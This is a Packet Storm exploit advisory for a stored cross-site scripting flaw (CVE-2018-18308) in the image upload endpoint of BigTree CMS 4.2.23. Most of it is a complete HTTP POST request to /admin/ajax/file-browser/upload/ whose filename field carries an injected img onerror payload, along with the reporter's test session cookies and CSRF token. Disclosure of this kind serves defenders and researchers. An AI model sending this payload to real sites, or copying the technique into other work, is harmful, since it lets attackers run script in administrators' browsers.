BigTree CMS 4.2.23 Cross Site Scripting

2018-10-14T00:00:00
ID PACKETSTORM:149788
Type packetstorm
Reporter Ismail Tasdelen
Modified 2018-10-14T00:00:00

Description

                                        
                                            `# Exploit Title: BigTree CMS 4.2.23 - Cross-Site Scripting  
# Date: 2018-10-15   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.bigtreecms.org/  
# Software Link : https://github.com/bigtreecms/BigTree-CMS/  
# Software : BigTree CMS  
# Version : 4.2.23  
# Vulernability Type : Cross-site Scripting  
# Vulenrability : Stored XSS  
# CVE : CVE-2018-18308  
  
# In the 4.2.23 version of BigTree, a Stored XSS vulnerability has been discovered in /admin/ajax/file-browser/upload/ (aka the image upload area).  
  
# HTTP POST Request :  
  
POST /admin/ajax/file-browser/upload/ HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://TARGET/admin/pages/add/0/  
Content-Type: multipart/form-data; boundary=---------------------------15148507251045999311737722822  
Content-Length: 1574699  
Cookie: __utma=242042641.1054742390.1539547796.1539547796.1539547796.1; __utmb=242042641.6.10.1539547796; __utmc=242042641; __utmz=242042641.1539547796.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); PHPSESSID=fat2c61gglprnotletf1mobnui; hide_bigtree_bar=; bigtree_admin[email]=test%40ismailtasdelen.me; bigtree_admin[login]=%5B%22session-5bc3a4ae5b8016.12355027%22%2C%22chain-5bc3a4ae5b7966.37991866%22%5D; bigtree_admin%5Bpage_properties_open%5D=on  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
-----------------------------15148507251045999311737722822  
Content-Disposition: form-data; name="__csrf_token_B2FHVMV815XHACWV8RVV2BTX1EH1YEH6__"  
  
tNvtUi8PU/IDcrgxj1t/Uv/1ciYeF7AudslXD429hkQ=  
-----------------------------15148507251045999311737722822  
Content-Disposition: form-data; name="folder"  
  
0  
-----------------------------15148507251045999311737722822  
Content-Disposition: form-data; name="files[]"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"  
Content-Type: image/jpeg  
`